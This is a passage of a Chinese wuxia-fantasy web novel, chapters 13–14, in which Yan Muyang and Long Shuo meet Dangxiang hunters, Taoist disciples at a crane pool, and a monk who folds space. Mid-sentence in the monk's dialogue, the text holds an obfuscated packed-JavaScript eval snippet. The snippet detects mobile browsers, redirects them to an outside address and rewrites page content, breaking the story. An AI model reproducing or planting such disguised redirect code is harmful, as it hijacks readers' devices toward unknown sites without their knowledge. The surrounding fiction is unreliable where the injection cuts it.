那汉子的声音如同猛兽一般嘶哑浑厚,他每说一句就要停顿一下,口中咕噜声不断,听得人直起鸡皮疙瘩。 龙烁仔细一瞧,竟觉得那人长得也有几分野兽的凶猛之气,心下暗自惊惧,说道:“啊,这也没必要争论,既然你们已经杀死了它,我们也无话可说,告辞——”,他说着便欲拉燕沐阳离开,而燕沐阳却是岿然不动,顿时心中一急,扯了扯他的衣袖道:“沐阳公子,我们走吧!” 忽然,左首那刀疤老者持刀拦在了他们面前,眼光斜睨他二人,凛然道:“你们还没叩谢我们大王的救命之恩,这便想走,哪有那么容易!” 燕沐阳面无惧色,挣开了龙烁牵着他衣袖的手,走到那酋长面前道:“你是党项族木雅地区首领——李元彪!” 龙烁一怔,向那中年汉子瞧去,他知道党项族原是西北族群,属于西羌族的一支,宋朝时期曾建立西夏政权,后被蒙古大军所灭,拓跋贵族带领部分民众迁徙到了四川甘孜一带,重新建立了西吴尔王国,说是王国,其占地面积却十分狭小,与部落无异。 龙烁暗想:“那两个老者叫这中年汉子做大王,莫非他便是西吴尔国国王——” “哈,小子既然识得我们大王,还不快快跪下磕头——”,右首老者道。 燕沐阳没有理会那人的叫嚣,只是向那李元彪问道:“会宾场,我见你身后原有三名老者,另一人,去了何处?” 那李元彪尚未答话,那刀疤老者便抢道:“大胆小子,你问这个做什么?我们野辞司空的行踪岂能轻易告诉你——”,他说着举起大刀向燕沐阳砍去。 燕沐阳闪身躲过大刀,回手抓住了那老者的手腕道:“多事——” 忽然间,那老者开始浑身颤发抖,牙齿不住打颤,随即便听“哐当”一声响,他手中的大刀便掉到了地上。 他竟被冻得手指僵硬,连刀柄也握不住了。 站在最后一排的几人以为是巨兽来袭,以致于吓得那刀疤老者寒颤连连,于是连忙上前护住李元彪。 他们游目四顾、寻找异常,口中兀自喊着“哪里”“在哪里”,然而附近却是除了他几人之外,并没有其他的人或野兽。 李元彪嘴角抽动,似笑非笑,一口黑牙若隐若现,口中不断发出呼噜之声,直如野兽一般。 只见他拨开众人高举的大刀,缓缓走到燕沐阳面前问道:“燕沚羽,是你什么人?” “正是家父!” “啊!” 李元彪微微咧嘴,露出了满口的黑牙,似是在微笑,只是他面目丑陋如同野兽,竟然比不笑更难看上几分。 只听他道:“当年若非,你父亲相助,我也不会活至今日,既是贤侄,你我不必,相互争斗,只要你二人,不与我们,争夺猎物,咱们便可,井水不犯河水,你们走吧!” 燕沐阳道:“我的问题,你尚未回答!” “你说野辞司空?”,李元彪眼睛上翻,似乎对这个人十分不屑,他嘴巴一撇,说道:“刚才我们追捕猎物时,与他走散了,或许这会儿已经被,巴蛇吃了——” 燕沐阳微微皱眉,又问道:“你族中人,可有人会使乱真易容之术?” 李元彪一怔,哼了一声,不屑道:“我党项族人,男儿汉大丈夫,怎会学那,偷鸡摸狗的,诡计术法!” 他朝兄弟们一挥手,各人便欲转身离开。 他掠过那只死去的花斑野豹时,嗤地一下拔出了大刀,在旁边的树枝上蹭了蹭血渍,便即往林中走去。 其余之人紧随其后,陆续消失在了丛林中。 龙烁见几人背影逐渐消失,终于松了一口气。 此时已近傍晚,二人找到一棵参天古树在下面休息,打算等到天亮再走。 安定下来之后,龙烁道:“那几人放着小道不走,偏偏往丛林里钻,真是有胆量啊!那李元彪,你怎么会认识他?” 燕沐阳道:“他争夺王位,被劲敌追杀,一路北上,至浸云谷外,被我父亲救下!” “噢,原来如此,难怪他叫你做贤侄!奇怪,你认得他,他却没认出你。” “我那时尚小,他的声音特别,因此记得清楚!” “啊是,他声音真的是很奇特!” 龙烁点头称是,心中却想,那李元彪声音何止特别,他那咕噜之声此刻仍然不绝于耳,直似野兽般让人不寒而栗。 见燕沐阳眉头微皱,仍在思索,龙烁又问道:“你为什么对那个叫做野辞司空的人这么好奇?” “会宾场中,此人使用了乱真易容之术!” “什么?”,龙烁奇道:“可是李元彪说,他们党项族人没人会使乱真易容术啊!是不是你看错了?” 燕沐阳微微摇头,肯定道:“不会!” “那你在会宾场时为什么不直接过去找他呢?” “人太多,一转眼,这人便不见了!” “噢!”,龙烁点了点头道:“这野辞司空暗使乱真易容之术,不知有什么企图,现下又不见了踪影,你说他会去哪?” 燕沐阳看了看龙烁,提醒他道:“李元彪不是说,被巴蛇吃了!” “怎么可能,他只是那么一说,你还当真啦?”,龙烁笑道:“你知道什么是巴蛇嘛?” 燕沐阳微微摇头,推测道:“既能吃人,应是某种巨蛇!” “对,不但能吃人,还能吞象呢!”,龙烁张开双臂,做了一个吃人的动作,嘿嘿笑道:“你听过巴蛇吞象,三岁吐骨的故事吗?” 燕沐阳微微摇头。 龙烁继续道:“巴蛇又叫修蛇,这种蛇体型巨大,长度足足有近八十丈,把大象吞下去,三年才吐出骨头,据说吃了巴蛇的肉可治心腹疼痛!不过这么大的蛇,别说肯定没有,就算是有,也早就灭绝啦!” “你是说,他还没死?” “很有可能,我们再去找找吧!” “好!” 13. 赤水丹心 翌日,二人继续向西行去。 此时的南方秋高气爽,这万兽山里的景色更是优美,花未凋谢叶未黄,只可惜二人根本无心观赏。 他们翻过一座矮山,又路过一条沟壑,在穿过一片竹林的时候遇上了几名江湖人士正在林中猎杀棕熊。 龙烁素来不喜练武,多半原因便是由于不喜杀生,他见那棕熊已被众人的刀枪棍棒打得遍体鳞伤,本想着上前劝说,却被燕沐阳拦下了,他知道沐阳公子不想多管闲事,于是不忍再看,长叹一口气后转身离去。 他二人此次前来万兽山均不是为了打猎,龙烁东张西望地寻找红叶,燕沐阳左顾右盼观察众人,找寻暗使乱真易容术的人。 直至日中,二人仍无所获,这才知道原来这万兽山范围甚广,它不只是一座山,而是一串绵延不绝的山系,其中不只仅有巍峨的山川,更有峡谷瀑布和丛林沼泽。 两人一路向西,龙烁明显感觉到已经进入到了万兽山的深处。这里山势险峻,古树盘桓,山中猛兽的叫声不断从远处传来,似啼似鸣。 正行走间,一匹白色飞马忽然间从二人头顶掠过,龙烁顿时想起自己年少时读过的《山海经》一书。 书中记载着一种马身人面、虎纹鸟翼的神兽,名为英招。 龙烁见那白色飞马虽然没有长着人的面孔,却着实长着一副马的身躯和一对鸟的翅膀,他连忙拦住燕沐阳道:“沐阳公子,快看,那是不是英招?” 燕沐阳抬头看向那飞马,说道:“不知,未曾见过!” 龙烁惊喜交加,见那飞马似乎对他二人也十分好奇,在二人头顶盘旋了两圈后才径自飞去,不住感叹道:“原来天马行空是真的存在啊,呵呵!” 一路走来,龙烁发现万兽山的深处竟然生活着许多《山海经》中记载的生物。 比如刚才他二人路过一处陡峭的山丘时,便看到一只长着四只犄角的白山羊。 当时燕沐阳本欲上前抚摸,却被龙烁制止道:“不能碰它,沐阳公子,那是土蝼,虽然看起来温顺,但是他会吃人,一般的农户遇到它搞不好就被吃掉啦!” 燕沐阳当即收手,冲龙烁点了点头。 此后二人再遇到稀奇古怪的生物,即使再好奇也都对它们敬而远之不去打扰。 后来二人在一个黑漆漆的山洞前面看到一只浑身碧绿的麒麟在不远处徘徊,显然那山洞便是它的巢穴。 龙烁见那麒麟吼声如雷,口中带火,龙首鹿角,虎背熊腰,知道这神兽虽然平时较为慈祥,可一旦发起火来便异常凶猛,于是便赶紧拉着燕沐阳离开了。 未牌时分,阳光格外耀眼,龙烁拉着燕沐阳到树下休息,刚一坐下,忽听得左边树林里有人声传来。 那声音连绵不绝,似有一群人在求福祈祷。 二人不明所以,一齐向林中走去。 当他们拨开遮挡的草叶时,龙烁看到了一番神奇的景象。 只见前面不远处有一小块平地,平地中间有一汪约十丈见方的小潭,水波在阳光的照耀下光彩夺目、熠熠生辉。 潭水赤红,清可见底,两只仙鹤在小潭中央悄然而立,它们时而振翅啼鸣,时而低头捉鱼,或行或止,怡然自得。 潭边有七名十五六岁的年轻道士匍匐在地,他们口中兀自念念有词,似是在向那两只仙鹤跪拜祈福。 龙烁觉得十分有趣,嘿嘿一笑,说道:“这些人定是把这两只仙鹤真的当成‘仙’鹤了!这潭水很浅吗?怎么它们像是在水面上行走?” 燕沐阳亦是不明其中原委,他稍一沉思,说道:“试试便知!” 只见他随手折下一根长长的细竹,走到潭边,将竹子直插入水中,潭水淹没了竹身,又将他白皙的手臂沾湿了,却仍未见底。 燕沐阳转身看向龙烁,微微摇头。 龙烁未及说话,却见燕沐阳突然凌空一跃,蜻蜓点水般地飞到了小潭中央。 那两只仙鹤见一个仙气飘飘的白衣男子从天而降,竟不害怕,反而张开双臂围着他盘旋飞舞。 燕沐阳在潭水中央微微一沉,发现潭中并无支撑,于是猛一踏水,又飞了回来。 两只仙鹤见这白衣男子反身离去,兀自仰天鸣叫,也跟着他飞到了岸边。 起初,正在虔诚祈祷的那群道士发现燕沐阳向潭中飞去,都忽地起身,大声叫嚷着要他回来,生怕那两只“仙”鹤被这个不速之客突然吓走。 然而,当他们见到那仙鹤不但不害怕,反而围着燕沐阳盘旋飞舞的时候,又都匍匐在地,朝着这“一人两鹤”不住跪拜,其中几人说着“拜见仙君”“仙君圣驾”“有失远迎”之类的话,似是把燕沐阳也当成了神仙。 龙烁哈哈大笑着走上前来道:“仙鹤并非‘仙’鹤,阳君并非仙君,众位大师,你们不必多礼!”,他说着径自跑向那两只白仙鹤。 众人见这个青衣少年突然间从林中窜出,径自跑到那两只仙鹤身旁仔细观察了一番,又跑到潭水边俯身查看,不知他此举之意,都站起身来看向他,好奇他到底在做什么。 一名年轻道人躬身施礼道:“这位公子,你说仙鹤并非‘仙’鹤,它们既能在水上行走,又怎么不是‘仙’鹤呢?这定是哪位仙君的坐骑私自下了凡,跑到这万兽山来啦!” 这年轻道人忽然被他身旁之人轻轻推了一下,又见他的眼神不住向燕沐阳瞟去,便即会意,他走到燕沐阳面前躬身施礼道:“敢问仙君是哪一路的神仙?” 燕沐阳一凛,不知如何回答。 龙烁扑哧一笑,起身说道:“他是清冷山,俊雅峰的神仙,名字叫做沐阳仙君——” “噢,原来是沐阳仙君!”,那年轻道士再次躬身施礼道:“弟子孤陋寡闻,却是第一次听说您的尊号!” “嘿嘿!”,龙烁捧腹大笑道:“别说是你,就连我也是第一次听说,哈哈——” 燕沐阳被龙烁大开玩笑,于是眉头紧皱,他心知各人都是在称赞他的外貌,却对此不以为意,说道:“龙烁,休再胡说!” 龙烁第一次听他叫出自己的名字,还是以这种命令的口吻喊将出来,知道倘若再继续开他玩笑,恐怕是要吃不了兜着走啦,于是他连忙清了清嗓子,说道:“诸位大师,在下并非有意冒犯,我说实话哈,这位公子名叫燕沐阳,是来自北方的英雄,他不是什么神仙,只是跟咱们一样的普通人而已!” “什么?”,那年轻道人疑道:“那他怎么会御使仙鹤,使其盘旋飞舞围围绕在他的身旁呢?” “啊,这你可问到我啦!”,龙烁挠了挠头道:“可能仙鹤是母鹤,它们也有爱美之心吧,哈哈!” 他见燕沐阳又在以警告的眼神看着自己,赶忙说道:“啊那个,总之,这世界上根本没有什么神仙佛祖妖鬼邪神,那不过都是古时候人们编纂出来的传说罢了!” 另一名小道士抢道:“你这么说,岂不是侮辱我们师尊啦,我们师尊说过,只要潜心修炼,各人均可得道成仙呢!” “咳咳,在下并无此意!”,龙烁道:“请问诸位大师的师尊是哪位高人?” “我们是洛阳清风观的第三代弟子,我们师尊便是闻名天下的玄机道人!” “啊,原来是玄机道人门下高徒,在下有礼!”,龙烁深深躬身施礼,心中却想,你们师父所言岂是你们这些年轻道人所能听得懂哒,人家说的得道成仙,是指受到万人敬仰,成为人们心中的仙,这么深奥的道理,你们得再过几年才会领略到其中深意啦! 他回过神来又继续说道:“那个,令师尊说得没错,只要你们诚心修习,都会成为神仙哒!” “你这人说话前后矛盾很没有条理,需要再多读读书才行啊!”,另一名小道士说道。 龙烁拱手笑道:“啊!大师说的是,大师的教诲,在下谨记于心!” 燕沐阳道:“诸位道长,只要能够做到心怀天下、修己渡人,各人均可成为别人心中的神仙,受到后世敬仰!” 闻声,龙烁微微一怔,觉得他所说的正是自己心中所想,忽地对燕沐阳刮目相看,大竖拇指道:“沐阳仙君,果然有道啊!” 他心中又想,沐阳公子曾说他父亲正在研修佛法,而他能够受父亲的影响,潜移默化,有此感悟,与我所学的儒家思想殊途同归,如此说来,沐阳公子与我也算是志同道合了! “话虽如此,可是仙鹤行于水面,大家有目共睹,你怎说它们不是真的‘仙’鹤?”,那年轻道人问道。 “这个嘛,原因就在于此!” 龙烁缓步走向竹林,劈下一根长约一丈左右的细竹,径自往潭边走去。 他耐心等待了一会儿后,忽地用力一掷,旋即拔竿而起,一条活鱼便被带出了水面。 此鱼全身通红,艳丽至极,龙烁将它从竹竿尾部取下,用鱼身往脚底蹭了蹭,然后随手一扬,那鱼便被他身旁的那只仙鹤一口叼住吞入了肚中。 龙烁走到潭边,小心翼翼地伸出右脚,往水中探去,鞋子碰到水面之时,忽感所碰之处坚实无比,踏将上去,如履平地,于是脸现喜色,左脚也跟着踏了上来。 众人见龙烁同那仙鹤一样稳稳地在水面行走,都发出了惊叹的声音! 龙烁听到身后一阵骚动,转过身来说道:“啊,众位大师不必惊讶,这是由于丹鱼之血的缘故!” “丹鱼之血?” 众人仍是不明所以。 “对!”,龙烁解释道:“《郦道元》水经注·丹水一篇中早有记载‘水出丹鱼。先夏至十日,夜伺之,鱼浮水侧,赤光上照如火,网而取之,割其血以涂足,可以步行水上,长居渊中!’,你们瞧这潭水颜色赤红,这就是丹水啦!” “噢!” 众人恍然大悟,旋即争相奔至潭边俯身查看寻找丹鱼,果然见到成群的红色大鱼在其中来回游走,均觉十分有趣。 其中几人径自跑去林中劈竹,想去水中捕鱼一探究竟。 龙烁看着这群小道士天真无邪地嬉戏玩耍,感叹年轻人的快乐其实如此简单,正自欣赏着,忽然想到燕沐阳仍在岸边,于是喊道:“沐阳公子,你要不要试一试?”,然而他刚一回头,却突然睁大了眼睛喊道 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只见那姓魏的小道士慌忙抽出佩剑,颤巍巍地说道:“我不,我不会水啊!” 闻声,燕沐阳张开双臂向后一跃,期到那小道士身旁,他纵身一跃,轻轻巧巧地带着他向上飞去,在一根粗壮的竹子上稳稳落下。 那巨虎见这群人有的能在水面行走,有的更是能纵身高飞,一时摸不着头脑,愣在了原地。 过了一会儿,龙烁见它绕着那小潭来回踱步,时而抬头向燕沐阳望去,时而低头向潭中的人们瞧去,竟是无计可施,嗷嗷吼叫了几声,又踱至潭边喝了几口水,随即扬长而去。 燕沐阳见巨虎已经离开,便带着那魏师弟跃了下来。 众道士感恩戴德,未及拜谢,便见燕沐阳便转身向林中走去。 “欸,沐阳公子,等等我——喂——” 龙烁赶忙上岸,匆匆跟众人道别后便追了上去。 等到终于跟上了燕沐阳时,二人已经越过了那条山中的小路。 龙烁见他仍是不理自己,暗想莫非他此时仍在恼怒,怪自己屡次拿他开玩笑?于是打算打算哄他一哄,说道:“沐阳公子,你刚说的‘心怀天下、修己渡人’真好,瞬间让我心生敬意,看不出你一个仙气飘飘的清雅公子,竟然如此侠肝义胆呢,真真令人佩服啊!” 燕沐阳仍不理会,只是径自向北而行,他游目四顾,似在寻找什么。 龙烁突然想起来,之前已经试过了,这沐阳公子根本不吃恭维这一套。于是打算换个方法试试,便说道:“欸,不过你之前不是说,你此次前来,只为寻人,其他之事,与你无关吗?怎么今日,又改变想法啦,是不是被我影响啦?哈哈——” 龙烁故意大言不惭,只是想让燕沐阳跟自己说话。 事实证明这个方法果然奏效,只见燕沐阳突然停下脚步看向龙烁,过了一会儿,说道:“我刚才所言,为父亲教诲,我本人,并无此意!”,他说着继续向北而去,越走越快。 “什么?真的假的?” 龙烁大踏步地跟上他道:“可是你刚刚说的时候义正言辞,那表情不像假的啊!喂——怎么又不理人啦!” 龙烁踉踉跄跄地跟在后面,起初还能紧随其后,旋即一丈一丈地越落越远,大喊道:“喂——你倒是等——” 后面几个字尚未喊出,却被燕沐阳忽地期到身旁,捂住了嘴巴。 还没反应过来是怎么回事,龙烁又被他带着纵身一跃,落到了一堆灌木丛后面蹲了下来。 龙烁正打算问他怎么回事,却又被燕沐阳捂住了嘴巴,只见他做势不要出声,向灌木丛的另一边指了指,低声道:“我刚在上面,看到了他!” “谁?” 龙烁好奇地张望,却见前面不远处有一只白耳朵的长毛猿猴在草丛间东蹿西跳。 那白耳猿猴时而匍匐前进,时而直立行走,口中兀自喊道:“你抓不住我,你抓不住我——嘿嘿——” 龙烁见它身形不大,似猕猴一般,耳朵是白色的,声音清脆尖锐,显然是一只年轻的雄狌狌,瞬间来了兴致,朝燕沐阳说道:“这是狌狌,竟然真的能说人话,太有意思啦!” “狌狌?” “嗯,《山海经》中有关于它的记载,据说吃了它的肉,有健步利行的功效!” “难怪,有人在抓它!” “是吗?我怎么没看到,在哪里?” 龙烁虽然听见了那只狌狌宝宝的喊叫,却是没见到有人在它周围。他细细观察,却见那只小狌狌忽而屁股一缩,忽而肩头一歪,忽而向上跳跃,忽而又向后翻滚,似乎是在躲避着什么,然而由于草木的遮挡,龙烁始终没看出什么别的异常,不禁疑惑道:“没有人啊?” “来这里!” 未等龙烁反应过来,燕沐阳便带着他纵身一跃,直飞到了一棵大树的枝干上。 二人以树枝遮挡,龙烁透过树叶的缝隙,看到了一幕更加令人惊奇的景象! 14. 矩纸穿行 那小狌狌左腿忽然一抬,它左脚所在之处便赫然出现了一只大手。 那大手五指短粗,皮肤黝黑,虎口之处生满老茧,手腕之处戴有银镯。 只见这大手一抓不成,往回一缩,忽地消失不见了。 那小狌狌右肩猛地一歪,右臂之处又出现了这只大手。 这大手一抓不到,立即缩回,瞬间又消失不见了。 “怎么回事?”,龙烁奇道:“莫非是陈糠粟在搞鬼?” 燕沐阳摇头道:“不像他的手。” 龙烁回想昨日在茶肆之时,徐若谷前辈以七彩云霄笔的彩墨逼陈糠粟现身后,那陈糠粟的手掌宽大,手指修长,与这短粗的大手浑不相同,的确并非是同一人的手。 龙烁又道:“那镯子好面熟!那群党项族人好像就戴着这种镯子!” 燕沐阳一惊,说道:“野辞司空!” “不会吧!”,龙烁头皮发麻,说道:“难道他真的被巴蛇吃了,只剩下了一只手?还变成了鬼手?” 燕沐阳轻轻摇头,表示不知,他带着龙烁跃下了地面道:“在这等我!”,他说着便朝那鬼手奔去,打算一探究竟。 此处杂草既多且深,燕沐阳行动如风,没发出一点声音便期到了那只小狌狌身后两丈地处。 龙烁见燕沐阳蹲在那里静静观察,自己也紧张地屏住呼吸,不敢作声。却发现那只大手忽而东边一挠,忽而西边一抓,却是百发不中,笨得要命,而那小狌狌则上蹿下跳、此起彼伏,口中兀自叫嚣着:“来呀,来呀,我在这儿呐!” 龙烁瞧得竟越发替那大手着急。 燕沐阳看准时机,一冲而上,一把抓住了那只大手。 那小狌狌见到燕沐阳突然出现,顿时被吓了一大跳,“呀”地大叫一声钻入草丛中,一瞬间便逃得无影无踪了! 燕沐阳紧紧抓住那只大手,他用力一拉,拽出了一名脸带刀疤,满面虬髯,身高不足五尺,手掌却大过七寸的老汉。 他的穿着打扮正是党项族人的装束。 燕沐阳将他扔到草丛之上呵道:“你是野辞司空?” 龙烁见那人已被捉住,赶忙跑上前来,躲在燕沐阳身后。 那老汉见来人是两个英俊的少年,顿时放松了警惕,他装傻道:“啊?是吗?” “我在问你!”,燕沐阳道。 “他们叫我野辞司空?”,那老汉笑道:“嘻嘻,我竟不知道自己叫这个名字!” 龙烁听得莫名其妙,暗想这人在西吴尔国位列三公,别人尊称他为野辞司空,他竟然不知道那不是自己的全名,龙烁见这老汉嬉皮笑脸没有正格,于是斥道:“你不知道自己的名字,难道你失忆啦?我警告你老实点啊,别跟我们打哈哈!” “他不是野辞司空本人!”,燕沐阳道。 “什么?” 龙烁和那老汉一齐惊道。 那老汉看向燕沐阳,问道:“你是怎么知道的?李元彪告诉你了?哈,他居然看出了我的破绽而没有揭穿我,看来这人心很善啊!” 燕沐阳没有说话,他左手握住右手手腕,右手食指和中指对准那老汉的眉间,口中兀自念了个诀,只听“砰”的一声响,那老汉顿时变成了一个穿着朴素的小和尚。 龙烁见他年纪轻轻,也就十五六岁的样子,长得又瘦又高,脸上稚气未消。 那小和尚见自己的乱真易容术法被破,顿时明白了是怎么回事,他冲燕沐阳说道:“噢,原来你也会使乱真易容之术!” “啊,我猜得没错吧,他根本没有死!”,龙烁道:“说——你潜伏于党项部落中,到底是何目的?” 小和尚以为二人是党项族人的帮手,于是说道:“我技不如人,还有什么话说,任凭你们处置了!”,他说着将双手拢在一起,作势让二人将他捆绑起来,听凭处置。 “哈,你小子识相得很!”,龙烁道:“不过你放心,我们只是好奇,没有恶意,并不是有意为难你!” 小和尚一听,顿时脸现喜色道:“是你们不要绑我的哦!嘿嘿,你们可别后——” “悔”字还没说出口,他突然睁大眼睛望向两人的身后,惊恐地道:“大王,别抓我啊!” 龙烁赶忙转身,发现身后尽是茫茫的野草和参天的大树,并无他人,正自莫名其妙,忽觉燕沐阳身子闪动,他又赶忙回过头来,发现这小和尚的左胳膊已被燕沐阳抓住,身子露了一半在外面,其余一半像是被隐身了一样藏到了另外一个空间。 “哎呦,哎呦!”,小和尚大叫道:“你弄疼我啦——” 燕沐阳一把将他拉出,不再客气,直接将他扔倒在地。 “好你个小鬼头啊!”,龙烁咂了咂嘴道:“出家人不打诳语,你竟然比我还会骗人——说,你这是什么功夫?” 小和尚心知自己已然逃脱不掉,祈求道:“两位哥哥饶命,我这不是什么武功,是矩纸穿行术法!” “矩纸穿行——” 燕沐阳凛然道:“慈悲法师!” “咦,莫非你认识我师父?” “不识,听过!” 龙烁道:“四川泸州天泉寺住持慈悲法师慈悲为怀,不但四处弘扬佛法普度众生,还竭力钻研医术,为天下穷苦百姓免费医治,实在令人敬佩,慈悲法师的名号,我也是听过的!你既是慈悲法师门下的高徒,怎么还骗人呢?” “这个——”,小和尚眼珠一转,说道:“只因我贪图玩耍,经常背着师父出寺,遇到的危险多了,自然就学会啦!两位大哥,你们抓我到底想做什么呀?” “你的乱真易容术法,也是慈悲法师所传授?”,燕沐阳问道。 小和尚一怔,眼光微微闪动,说道:“呃,对呀,那不然呢?” “你可听过,上官悦?” “没有,没听过,他是谁?干啥的?” 燕沐阳脸现失望之色,不再说话,转身欲走。 小和尚赶忙起身,拦在燕沐阳前面说道:“诶,这位哥哥,你先别走,那个,我可不可以求你,帮我个忙?” 燕沐阳眼神无光,没有理会。 龙烁道:“帮什么忙?” 小和尚脸现喜色,开始滔滔不绝道:“半个月前,我练习矩纸穿行术时误入这万兽山,当时不知这里是什么地方,想着既然来了,就到处逛逛,结果我在山中游荡之时,竟然碰到了许多从来没有见过的凶猛野兽,大概是因为我身材瘦削,年龄又小,碰到的凶兽似乎都觉得我秀色可餐,向我发起猛攻,吓得我东躲西藏,好在师父教我的‘矩纸穿行术’派上了用场,这才保住了性命,不然我早就被那些猛兽一口吃掉啦!” 龙烁暗想,那些猛兽倒不一定是觉得你秀色可餐,很可能是你一见到它们就怂得到处逃窜,那些猛兽嗜血好杀,不来追你才怪! 他又想到刚刚沐阳公子遇到野虎临危不乱,那冷峻漠然的眼神和泰然若素的威势竟然镇住了身躯比他大过好几倍的猛虎!当时情景,若是换作自己,恐怕也跟这小男孩一样,早就吓得四处逃窜了!如此说来,沐阳公子的胆识和魄力,都大大在我之上! “说重点!”,燕沐阳道。 “哦哦,当日,我自觉这里危险重重,就去找些地势较高、视野较好的山间沟壑进行躲藏,顺便摸清这里的地形地貌。可是藏着藏着,我竟然在一个条山涧中听到了两只能说人话的小狌狌在一起讨论万兽山里的事情。我当时好奇极了,躲在暗处偷听它们在说什么,只听一只小狌狌说它祖上世世代代生活于此,可以说是对这里的一切了如指掌,号称山中的‘万事通’,它说山中不但神兽繁多,更有一个稀世之宝,它便是白泽,谁若是能抓到它,便是得到了无价之宝!只是那白泽究竟在什么地方,它们却没有说!我当时寻找了近两个时辰,直至深夜,什么也没有找到,便失望地离开了。今日猎奇之争,我寻思再来找找,没成想此次猎奇之争的围猎目标竟是白泽!” “嗯,物以稀为贵,这白泽以前没人见到过,自然算得上是稀世之宝,不然谢庄主也不会千叮咛万嘱咐要抓活的了!”,龙烁道:“那你此次前来,为何要易容呢?” “我到离万兽山脚不远处时,想着若易容成一个丑八怪说不定能吓退那些烦人的野兽,正巧碰到党项族人飞奔而来,于是心念一动,找了一个最老最丑的老汉,按照他的模样变了身,跟着他们一起进了这万兽山!” “呵!”,龙烁笑道:“这倒霉的老汉,便是野辞司空!你扮成人家的样子,就管用啦?” “诶,真的,确实管用,我再遇到凶兽,就不害怕啦,有一些甚至还被我给吓跑啦,哈哈!” 龙烁嘴角微勾,觉得这小和尚虽然贪玩,却也天真有趣,于是说道:“那野辞司空,你将他如何处置了?杀了?” “没有没有,我偷偷跟在他们后面,听他们说什么‘住在西吴尔王宫中何等逍遥快活,却赶了几天的路奔波到此找什么巨兽’,便知道了他们族群部落的所在,于是把那人送到了西吴尔王国南边的山野中,让他像我一样在万兽山里迷了路,等他找到王宫再赶来万兽山时,也得是几天以后的事啦!” “什么?”,龙烁惊讶道:“你将他送回了西吴尔国?然后又赶了回来?” “不是不是,我这矩纸穿行术的奥妙便在于此,能够通过咒术缩短空间和距离,大哥哥你过来瞧!” 小和尚说着将左手握成圈,右手食指往里面一戳,口中念了一个诀,然后像看望远镜一样向里面窥去,他又挥手示意让龙烁过来观看。 龙烁不知他葫芦里卖的什么药,莫名其妙地向那小和尚的手洞里窥去,却见洞中竟是另外一番景象。 里面虽然也是山,却是白雪皑皑,到处都是白茫茫的一片。 龙烁大惊,转头看向四周,这里仍是茂密的野草和参天的大树,他又往里窥去,里面仍是白茫茫的一片,惊奇地问道:“这是哪里啊?” “这就是他们西吴尔王国南面的大山啊,那里地势高,气候冷,雨变了雪,嘿嘿,大哥哥,你没见过吧?” 小男孩说着右手将左手的小洞使劲一拉,空气就像变成纸一样被撕开了一个长方形的口子,现出了一个大洞,洞内是白雪皑皑的大山,洞外是郁郁葱葱的树林。 小和尚将耷拉下来的矩纸往回一粘,那张大纸便又恢复如初,随即消失不见了。 龙烁感到十分有趣,他跑过来四下摸索,然而这里除了空气,却是什么也没有,于是羡慕道:“好厉害啊,那你岂不是想去哪就去哪了?” “我功力有限,施术尚不能够随心所欲,常常把不准方向而去错地方。不过我的师父那可就厉害啦,他术法精湛,想要去哪个地方便可瞬间而至,也因此他救活了许多生命垂危的重症病人呐!” “哎,你可不可以教我这法术啊!”,龙烁道。 “术业有专攻,这不是一年半载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231111|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能练成的,你看我这功力虽然跟我师父没法比吧,却也是从小修习的结果呐!” “额!你说得有道理,我连自家的术法都练不好,更不用说别的!你倒也不用谦虚,我刚看你东抓西挠地去抓那狌狌,你的术法施展自如,已经很精湛了!”,龙烁叹了一口,问道:“你既然跟随党项族人一起入山,为什么又独自跑到这里来啦?” “哎,我跟着他们来找神兽白泽,哪知他们要找的却不是白泽,于是趁他们打猎时,我就溜走啦!”,小和尚叹气道:“我想着狌狌很可能知道白泽的所在,于是想抓一只来带路,可是狌狌十分狡猾,身子又很灵活,我始终抓他不到!我看这位白衣大哥武功不凡,身法又快,所以能不能麻烦白衣大哥帮我把那只狌狌抓住,问问他那白泽到底在什么地方!” “哎,你这小和尚,怎么跟着师父学会了术法,却没有学会佛家主张的六根清净、摈弃杂念的思想呢?钱财功名乃是身外之物,你一个小和尚,要抓白泽做什么?” “善哉善哉!”,小和尚眼珠一转,说道:“我不是来抓白泽的,我是来保护它的!你们知道的,谢氏宗族之所以能在武林中备受尊崇,就是因为他们家风良好,其子孙后代都以锄奸扶弱、惩恶扬善为己任。他们赖以扬名的法器一是困兽网,二是雕翎羽箭。这困兽网是谢氏宗族的家传之物,一直以来从没有传给外人过,这宝物若是落到仁人志士的手中便是好事,若是落入奸人之手的话,我担心这会成为他们为非作歹的利器,那样一来,天下百姓又有央祸了!” “噢,你考虑的还是挺多!”,龙烁点头道:“只是你又如何确定抓住白泽之人不是善人呢?” “就是因为没法确定,所以我要先找到白泽,把它保护起来,确保它不被任何人抓住啊!” 龙烁竖起大拇指赞叹道:“你勇气可嘉,我十分佩服,只是此次参加围猎的勇士有上千人呢,如果硬拼,我想你一个人恐怕难以抵御众多的英雄侠士啊!” “我不需要跟他们硬碰硬啊!”,小和尚笑道:“我的目的是确保白泽不被人抓住即可,只要撑过这几天的猎奇之争,那白泽就算安全啦!” “噢,小师傅心地仁慈,这样一来,既保护了白泽,又避免了谢氏宗族的宝物外传,更有可能避免一场不必要的纷争,也算是一举多得了!”,龙烁转身朝燕沐阳道:“沐阳公子,我们就帮帮他吧!” 燕沐阳犹豫片刻,还是微微点了点头。 龙烁又道:“可是刚刚那小狌狌被吓到了,这会儿不知道跑到哪里去了!” 小男孩道:“这小狌狌很好奇我的矩纸穿行术,所以它肯定就在附近,跑不远的!” “啊,这样最好,那请你带我们去找它!”,龙烁道:“啊对了,我姓龙名烁,这位是沐阳公子,还没请教,小师傅法号是什么?” “啊,龙大哥,沐阳公子,小和尚法号净心,是我师父的关门弟子!” “原来是净心小师傅!”,龙烁拱手道:“你打算怎么引那狌狌出来?” 净心还礼道:“不如这样,暂请二位哥哥躲在暗处,我以矩纸穿行术法引他出来,待会儿那狌狌只要一现身,便请沐阳公子上前将其擒住——” “好!”,龙烁道:“就依你的计策行事!” 